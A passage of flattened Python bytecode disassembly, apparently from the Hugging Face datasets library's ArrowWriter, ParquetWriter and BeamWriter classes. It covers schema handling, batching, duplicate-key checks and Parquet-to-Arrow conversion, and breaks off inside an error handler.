_WRITER_CLASS LOAD_FAST self LOAD_ATTR stream LOAD_FAST schema CALL_METHOD LOAD_FAST self STORE_ATTR pa_writer LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 18 STORE_FAST field LOAD_FAST field LOAD_FAST field LOAD_ATTR name MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST field LOAD_GLOBAL pa LOAD_ATTR field LOAD_FAST field LOAD_ATTR name LOAD_FAST field LOAD_ATTR type LOAD_CONST False LOAD_CONST ('nullable',) CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _schema LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _schema JUMP_FORWARD to 42 LOAD_FAST self LOAD_ATTR _features LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pa LOAD_METHOD schema LOAD_FAST self LOAD_ATTR _features LOAD_ATTR type CALL_METHOD JUMP_FORWARD to 42 LOAD_CONST None STORE_FAST _schema LOAD_FAST self LOAD_ATTR _disable_nullable POP_JUMP_IF_FALSE LOAD_FAST _schema LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pa LOAD_METHOD schema LOAD_CONST <code object <genexpr> at 0x7fa6dda508a0, file "f.py", line 444> LOAD_CONST 'ArrowWriter.schema.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST _schema GET_ITER CALL_FUNCTION CALL_METHOD STORE_FAST _schema LOAD_FAST _schema LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST _schema RETURN_VALUE BUILD_LIST RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST field LOAD_GLOBAL pa LOAD_ATTR field LOAD_FAST field LOAD_ATTR name LOAD_FAST field LOAD_ATTR type LOAD_CONST False LOAD_CONST ('nullable',) CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'features' BUILD_LIST STORE_FAST info_keys LOAD_GLOBAL asdict LOAD_FAST info CALL_FUNCTION STORE_DEREF info_as_dict BUILD_MAP STORE_FAST metadata LOAD_CLOSURE info_as_dict BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7fab823a7150, file "f.py", line 457> LOAD_CONST 'ArrowWriter._build_metadata.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST info_keys GET_ITER CALL_FUNCTION LOAD_FAST metadata LOAD_CONST 'info' STORE_SUBSCR LOAD_FAST fingerprint LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST fingerprint LOAD_FAST metadata LOAD_CONST 'fingerprint' STORE_SUBSCR LOAD_CONST 'huggingface' LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST metadata CALL_METHOD BUILD_MAP RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 20 STORE_FAST key LOAD_DEREF info_as_dict LOAD_FAST key BINARY_SUBSCR LOAD_FAST key MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_ATTR current_examples POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR schema POP_JUMP_IF_FALSE LOAD_GLOBAL set LOAD_FAST self LOAD_ATTR schema LOAD_ATTR names CALL_FUNCTION STORE_DEREF schema_cols LOAD_FAST self LOAD_ATTR current_examples LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD keys CALL_METHOD STORE_DEREF examples_cols LOAD_CLOSURE examples_cols BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6a191c4b0, file "f.py", line 471> LOAD_CONST 'ArrowWriter.write_examples_on_file.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR schema LOAD_ATTR names GET_ITER CALL_FUNCTION STORE_FAST common_cols LOAD_CLOSURE schema_cols BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6a191c8a0, file "f.py", line 472> LOAD_CONST 'ArrowWriter.write_examples_on_file.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF examples_cols GET_ITER CALL_FUNCTION STORE_FAST extra_cols LOAD_FAST common_cols LOAD_FAST extra_cols BINARY_ADD STORE_FAST cols JUMP_FORWARD to 114 LOAD_GLOBAL list LOAD_FAST self LOAD_ATTR current_examples LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION STORE_FAST cols BUILD_MAP STORE_FAST batch_examples SETUP_LOOP to 230 LOAD_FAST cols GET_ITER FOR_ITER to 228 STORE_DEREF col LOAD_GLOBAL all LOAD_CLOSURE col BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fa6a191c6f0, file "f.py", line 479> LOAD_CONST 'ArrowWriter.write_examples_on_file.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR current_examples GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CLOSURE col BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6a191cf60, file "f.py", line 482> LOAD_CONST 'ArrowWriter.write_examples_on_file.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR current_examples GET_ITER CALL_FUNCTION STORE_FAST arrays LOAD_CONST <code object <listcomp> at 0x7fa6a191c030, file "f.py", line 484> LOAD_CONST 'ArrowWriter.write_examples_on_file.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST arrays GET_ITER CALL_FUNCTION STORE_FAST arrays LOAD_GLOBAL pa LOAD_METHOD concat_arrays LOAD_FAST arrays CALL_METHOD LOAD_FAST batch_examples LOAD_DEREF col STORE_SUBSCR JUMP_ABSOLUTE LOAD_CLOSURE col BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6a191c780, file "f.py", line 493> LOAD_CONST 'ArrowWriter.write_examples_on_file.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR current_examples GET_ITER CALL_FUNCTION LOAD_FAST batch_examples LOAD_DEREF col STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR write_batch LOAD_FAST batch_examples LOAD_CONST ('batch_examples',) CALL_FUNCTION POP_TOP BUILD_LIST LOAD_FAST self STORE_ATTR current_examples LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST col LOAD_FAST col LOAD_DEREF examples_cols COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST col LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST col LOAD_FAST col LOAD_DEREF schema_cols COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST col LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 36 STORE_FAST row LOAD_GLOBAL isinstance LOAD_FAST row LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF col BINARY_SUBSCR LOAD_GLOBAL pa LOAD_ATTR Array LOAD_GLOBAL pa LOAD_ATTR ChunkedArray BUILD_TUPLE CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST row LOAD_FAST row LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF col BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 44 STORE_FAST array LOAD_GLOBAL isinstance LOAD_FAST array LOAD_GLOBAL pa LOAD_ATTR ChunkedArray CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST array LOAD_ATTR chunks JUMP_FORWARD to 30 LOAD_FAST array BUILD_LIST GET_ITER FOR_ITER to 42 STORE_FAST chunk LOAD_FAST chunk LIST_APPEND JUMP_ABSOLUTE JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 68 STORE_FAST row LOAD_GLOBAL isinstance LOAD_FAST row LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF col BINARY_SUBSCR LOAD_GLOBAL pa LOAD_ATTR Array LOAD_GLOBAL pa LOAD_ATTR ChunkedArray BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST row LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF col BINARY_SUBSCR LOAD_METHOD to_pylist CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR JUMP_FORWARD to 64 LOAD_FAST row LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF col BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_ATTR current_rows POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pa LOAD_METHOD concat_tables LOAD_FAST self LOAD_ATTR current_rows CALL_METHOD STORE_FAST table LOAD_FAST self LOAD_METHOD write_table LOAD_FAST table CALL_METHOD POP_TOP BUILD_LIST LOAD_FAST self STORE_ATTR current_rows LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _check_duplicates POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _hasher LOAD_METHOD hash LOAD_FAST key CALL_METHOD STORE_FAST hash LOAD_FAST self LOAD_ATTR current_examples LOAD_METHOD append LOAD_FAST example LOAD_FAST hash BUILD_TUPLE CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR hkey_record LOAD_METHOD append LOAD_FAST hash LOAD_FAST key BUILD_TUPLE CALL_METHOD POP_TOP JUMP_FORWARD to 68 LOAD_FAST self LOAD_ATTR current_examples LOAD_METHOD append LOAD_FAST example LOAD_CONST '' BUILD_TUPLE CALL_METHOD POP_TOP LOAD_FAST writer_batch_size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR writer_batch_size STORE_FAST writer_batch_size LOAD_FAST writer_batch_size LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR current_examples CALL_FUNCTION LOAD_FAST writer_batch_size COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _check_duplicates POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD check_duplicate_keys CALL_METHOD POP_TOP BUILD_LIST LOAD_FAST self STORE_ATTR hkey_record LOAD_FAST self LOAD_METHOD write_examples_on_file CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL set CALL_FUNCTION STORE_FAST tmp_record SETUP_LOOP to 82 LOAD_DEREF self LOAD_ATTR hkey_record GET_ITER FOR_ITER to 80 UNPACK_SEQUENCE STORE_DEREF hash STORE_FAST key LOAD_DEREF hash LOAD_FAST tmp_record COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CLOSURE hash LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6d6884b70, file "f.py", line 548> LOAD_CONST 'ArrowWriter.check_duplicate_keys.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL enumerate LOAD_DEREF self LOAD_ATTR hkey_record CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST duplicate_key_indices LOAD_GLOBAL DuplicatedKeysError LOAD_FAST key LOAD_FAST duplicate_key_indices CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE LOAD_FAST tmp_record LOAD_METHOD add LOAD_DEREF hash CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 40 UNPACK_SEQUENCE STORE_FAST index UNPACK_SEQUENCE STORE_FAST duplicate_hash STORE_FAST _ LOAD_FAST duplicate_hash LOAD_DEREF hash COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL str LOAD_DEREF self LOAD_ATTR _num_examples LOAD_FAST index BINARY_ADD CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL len LOAD_FAST row CALL_FUNCTION LOAD_CONST 1 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Only single-row pyarrow tables are allowed but got table with ' LOAD_GLOBAL len LOAD_FAST row CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' rows.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR current_rows LOAD_METHOD append LOAD_FAST row CALL_METHOD POP_TOP LOAD_FAST writer_batch_size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR writer_batch_size STORE_FAST writer_batch_size LOAD_FAST writer_batch_size LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR current_rows CALL_FUNCTION LOAD_FAST writer_batch_size COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD write_rows_on_file CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST batch_examples POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_GLOBAL next LOAD_GLOBAL iter LOAD_FAST batch_examples LOAD_METHOD values CALL_METHOD CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR pa_writer LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR update_features POP_JUMP_IF_FALSE LOAD_CONST None JUMP_FORWARD to 56 LOAD_FAST self LOAD_ATTR _features STORE_FAST features LOAD_FAST self LOAD_ATTR pa_writer LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR update_features POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _features JUMP_FORWARD to 82 LOAD_CONST None STORE_FAST try_features BUILD_LIST STORE_FAST arrays LOAD_GLOBAL Features CALL_FUNCTION STORE_FAST inferred_features LOAD_FAST self LOAD_ATTR schema POP_JUMP_IF_FALSE LOAD_GLOBAL set LOAD_FAST self LOAD_ATTR schema LOAD_ATTR names CALL_FUNCTION STORE_DEREF schema_cols LOAD_FAST batch_examples LOAD_METHOD keys CALL_METHOD STORE_DEREF batch_cols LOAD_CLOSURE batch_cols BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6d6884660, file "f.py", line 603> LOAD_CONST 'ArrowWriter.write_batch.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR schema LOAD_ATTR names GET_ITER CALL_FUNCTION STORE_FAST common_cols LOAD_CLOSURE schema_cols BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6d68845d0, file "f.py", line 604> LOAD_CONST 'ArrowWriter.write_batch.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF batch_cols GET_ITER CALL_FUNCTION STORE_FAST extra_cols LOAD_FAST common_cols LOAD_FAST extra_cols BINARY_ADD STORE_FAST cols JUMP_FORWARD to 178 LOAD_GLOBAL list LOAD_FAST batch_examples CALL_FUNCTION STORE_FAST cols SETUP_LOOP to 360 LOAD_FAST cols GET_ITER FOR_ITER to 358 STORE_FAST col LOAD_FAST batch_examples LOAD_FAST col BINARY_SUBSCR STORE_FAST col_values LOAD_FAST features POP_JUMP_IF_FALSE LOAD_FAST features LOAD_FAST col BINARY_SUBSCR JUMP_FORWARD to 210 LOAD_CONST None STORE_FAST col_type LOAD_GLOBAL isinstance LOAD_FAST col_values LOAD_GLOBAL pa LOAD_ATTR Array LOAD_GLOBAL pa LOAD_ATTR ChunkedArray BUILD_TUPLE CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST col_type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL cast_array_to_feature LOAD_FAST col_values LOAD_FAST col_type CALL_FUNCTION JUMP_FORWARD to 252 LOAD_FAST col_values STORE_FAST array LOAD_FAST arrays LOAD_METHOD append LOAD_FAST array CALL_METHOD POP_TOP LOAD_GLOBAL generate_from_arrow_type LOAD_FAST col_values LOAD_ATTR type CALL_FUNCTION LOAD_FAST inferred_features LOAD_FAST col STORE_SUBSCR JUMP_ABSOLUTE LOAD_FAST try_features LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST col LOAD_FAST try_features COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST try_features LOAD_FAST col BINARY_SUBSCR JUMP_FORWARD to 310 LOAD_CONST None STORE_FAST col_try_type LOAD_GLOBAL OptimizedTypedSequence LOAD_FAST col_values LOAD_FAST col_type LOAD_FAST col_try_type LOAD_FAST col LOAD_CONST ('type', 'try_type', 'col') CALL_FUNCTION STORE_FAST typed_sequence LOAD_FAST arrays LOAD_METHOD append LOAD_GLOBAL pa LOAD_METHOD array LOAD_FAST typed_sequence CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST typed_sequence LOAD_METHOD get_inferred_type CALL_METHOD LOAD_FAST inferred_features LOAD_FAST col STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR pa_writer LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST inferred_features LOAD_ATTR arrow_schema JUMP_FORWARD to 382 LOAD_FAST self LOAD_ATTR schema STORE_FAST schema LOAD_GLOBAL pa LOAD_ATTR Table LOAD_ATTR from_arrays LOAD_FAST arrays LOAD_FAST schema LOAD_CONST ('schema',) CALL_FUNCTION STORE_FAST pa_table LOAD_FAST self LOAD_METHOD write_table LOAD_FAST pa_table LOAD_FAST writer_batch_size CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST col LOAD_FAST col LOAD_DEREF batch_cols COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST col LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST col LOAD_FAST col LOAD_DEREF schema_cols COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST col LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST writer_batch_size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR writer_batch_size STORE_FAST writer_batch_size LOAD_FAST self LOAD_ATTR pa_writer LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _build_writer LOAD_FAST pa_table LOAD_ATTR schema LOAD_CONST ('inferred_schema',) CALL_FUNCTION POP_TOP LOAD_FAST pa_table LOAD_METHOD combine_chunks CALL_METHOD STORE_FAST pa_table LOAD_GLOBAL table_cast LOAD_FAST pa_table LOAD_FAST self LOAD_ATTR _schema CALL_FUNCTION STORE_FAST pa_table LOAD_FAST self LOAD_ATTR embed_local_files POP_JUMP_IF_FALSE LOAD_GLOBAL embed_table_storage LOAD_FAST pa_table CALL_FUNCTION STORE_FAST pa_table LOAD_FAST self DUP_TOP LOAD_ATTR _num_bytes LOAD_FAST pa_table LOAD_ATTR nbytes INPLACE_ADD ROT_TWO STORE_ATTR _num_bytes LOAD_FAST self DUP_TOP LOAD_ATTR _num_examples LOAD_FAST pa_table LOAD_ATTR num_rows INPLACE_ADD ROT_TWO STORE_ATTR _num_examples LOAD_FAST self LOAD_ATTR pa_writer LOAD_METHOD write_table LOAD_FAST pa_table LOAD_FAST writer_batch_size CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD write_rows_on_file CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _check_duplicates POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD check_duplicate_keys CALL_METHOD POP_TOP BUILD_LIST LOAD_FAST self STORE_ATTR hkey_record LOAD_FAST self LOAD_METHOD write_examples_on_file CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR pa_writer LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR schema POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _build_writer LOAD_FAST self LOAD_ATTR schema CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR pa_writer LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR pa_writer LOAD_METHOD close CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR pa_writer LOAD_FAST close_stream POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR stream LOAD_METHOD close CALL_METHOD POP_TOP JUMP_FORWARD to 128 LOAD_FAST close_stream POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR stream LOAD_METHOD close CALL_METHOD POP_TOP LOAD_GLOBAL SchemaInferenceError LOAD_CONST 'Please pass `features` or at least one example when writing data' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL logger LOAD_METHOD debug LOAD_CONST 'Done writing ' LOAD_FAST self LOAD_ATTR _num_examples FORMAT_VALUE LOAD_CONST ' ' LOAD_FAST self LOAD_ATTR unit FORMAT_VALUE LOAD_CONST ' in ' LOAD_FAST self LOAD_ATTR _num_bytes FORMAT_VALUE LOAD_CONST ' bytes ' LOAD_FAST self LOAD_ATTR _path POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _path JUMP_FORWARD to 172 LOAD_CONST '' FORMAT_VALUE LOAD_CONST '.' BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _num_examples LOAD_FAST self LOAD_ATTR _num_bytes BUILD_TUPLE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ParquetWriter' STORE_NAME __qualname__ LOAD_NAME pq LOAD_ATTR ParquetWriter STORE_NAME _WRITER_CLASS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BeamWriter' STORE_NAME __qualname__ LOAD_CONST '\n Shuffles and writes Examples to Arrow files.\n The Arrow files are converted from Parquet files that are the output of Apache Beam pipelines.\n ' STORE_NAME __doc__ LOAD_CONST (None, None, None, None, None) LOAD_NAME Optional LOAD_NAME Features BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pa LOAD_ATTR Schema BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('features', 'schema', 'path', 'namespace', 'cache_dir') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fa6d6884db0, file "f.py", line 689> LOAD_CONST 'BeamWriter.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object write_from_pcollection at 0x7fa6d6884780, file "f.py", line 715> LOAD_CONST 'BeamWriter.write_from_pcollection' MAKE_FUNCTION STORE_NAME write_from_pcollection LOAD_NAME dict LOAD_CONST ('metrics_query_result',) BUILD_CONST_KEY_MAP LOAD_CONST <code object finalize at 0x7fa6d6884f60, file "f.py", line 735> LOAD_CONST 'BeamWriter.finalize' MAKE_FUNCTION STORE_NAME finalize LOAD_CONST None RETURN_VALUE LOAD_FAST features LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST schema LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'At least one of features and schema must be provided.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST path LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Path must be provided.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST features LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST features LOAD_FAST self STORE_ATTR _features LOAD_FAST features LOAD_ATTR arrow_schema LOAD_FAST self STORE_ATTR _schema JUMP_FORWARD to 82 LOAD_FAST schema LOAD_FAST self STORE_ATTR _schema LOAD_GLOBAL Features LOAD_METHOD from_arrow_schema LOAD_FAST schema CALL_METHOD LOAD_FAST self STORE_ATTR _features LOAD_FAST path LOAD_FAST self STORE_ATTR _path LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD splitext LOAD_FAST path CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST self STORE_ATTR _parquet_path LOAD_FAST namespace JUMP_IF_TRUE_OR_POP LOAD_CONST 'default' LOAD_FAST self STORE_ATTR _namespace LOAD_CONST None LOAD_FAST self STORE_ATTR _num_examples LOAD_FAST cache_dir JUMP_IF_TRUE_OR_POP LOAD_GLOBAL config LOAD_ATTR HF_DATASETS_CACHE LOAD_FAST self STORE_ATTR _cache_dir LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME apache_beam STORE_DEREF beam LOAD_CLOSURE beam LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object inc_num_examples at 0x7fa6d6884420, file "f.py", line 719> LOAD_CONST 'BeamWriter.write_from_pcollection.<locals>.inc_num_examples' MAKE_FUNCTION STORE_FAST inc_num_examples LOAD_FAST pcoll_examples LOAD_CONST 'Count N. Examples' LOAD_DEREF beam LOAD_METHOD Map LOAD_FAST inc_num_examples CALL_METHOD BINARY_RSHIFT BINARY_OR STORE_FAST _ LOAD_FAST pcoll_examples LOAD_CONST 'Get values' LOAD_DEREF beam LOAD_METHOD Values CALL_METHOD BINARY_RSHIFT BINARY_OR LOAD_CONST 'Save to parquet' LOAD_DEREF beam LOAD_ATTR io LOAD_ATTR parquetio LOAD_ATTR WriteToParquet LOAD_DEREF self LOAD_ATTR _parquet_path LOAD_DEREF self LOAD_ATTR _schema LOAD_CONST '-SSSSS-of-NNNNN.parquet' LOAD_CONST ('shard_name_template',) CALL_FUNCTION BINARY_RSHIFT BINARY_OR RETURN_VALUE LOAD_DEREF beam LOAD_ATTR metrics LOAD_ATTR Metrics LOAD_METHOD counter LOAD_DEREF self LOAD_ATTR _namespace LOAD_CONST 'num_examples' CALL_METHOD LOAD_METHOD inc CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL fsspec LOAD_METHOD get_fs_token_paths LOAD_FAST self LOAD_ATTR _parquet_path CALL_METHOD UNPACK_SEQUENCE STORE_FAST fs STORE_FAST _ UNPACK_SEQUENCE STORE_FAST parquet_path LOAD_GLOBAL is_remote_filesystem LOAD_FAST fs CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL str LOAD_GLOBAL Path LOAD_FAST parquet_path CALL_FUNCTION CALL_FUNCTION JUMP_FORWARD to 48 LOAD_FAST fs LOAD_METHOD unstrip_protocol LOAD_FAST parquet_path CALL_METHOD STORE_FAST parquet_path LOAD_FAST fs LOAD_METHOD glob LOAD_FAST parquet_path LOAD_CONST '*.parquet' BINARY_ADD CALL_METHOD STORE_FAST shards LOAD_GLOBAL sum LOAD_FAST fs LOAD_METHOD sizes LOAD_FAST shards CALL_METHOD CALL_FUNCTION STORE_FAST num_bytes LOAD_GLOBAL get_parquet_lengths LOAD_FAST shards CALL_FUNCTION STORE_FAST shard_lengths LOAD_FAST self LOAD_ATTR _path LOAD_METHOD endswith LOAD_CONST '.arrow' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logger LOAD_METHOD info LOAD_CONST 'Converting parquet files ' LOAD_FAST self LOAD_ATTR _parquet_path FORMAT_VALUE LOAD_CONST ' to arrow ' LOAD_FAST self LOAD_ATTR _path FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP SETUP_EXCEPT to 236 LOAD_CONST 0 STORE_FAST num_bytes SETUP_LOOP to 232 LOAD_GLOBAL hf_tqdm LOAD_FAST shards LOAD_CONST 'shards' LOAD_CONST ('unit',) CALL_FUNCTION GET_ITER FOR_ITER to 230 STORE_FAST shard LOAD_FAST fs LOAD_METHOD open LOAD_FAST shard LOAD_CONST 'rb' CALL_METHOD SETUP_WITH to 222 STORE_FAST source LOAD_FAST fs LOAD_METHOD open LOAD_FAST shard LOAD_METHOD replace LOAD_CONST '.parquet' LOAD_CONST '.arrow' CALL_METHOD LOAD_CONST 'wb' CALL_METHOD SETUP_WITH to 212 STORE_FAST destination LOAD_GLOBAL parquet_to_arrow LOAD_FAST source LOAD_FAST destination CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST shard_num_bytes STORE_FAST _ LOAD_FAST num_bytes LOAD_FAST shard_num_bytes INPLACE_ADD STORE_FAST num_bytes POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 448 DUP_TOP LOAD_GLOBAL OSError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 434 LOAD_FAST e LOAD_ATTR errno LOAD_GLOBAL errno 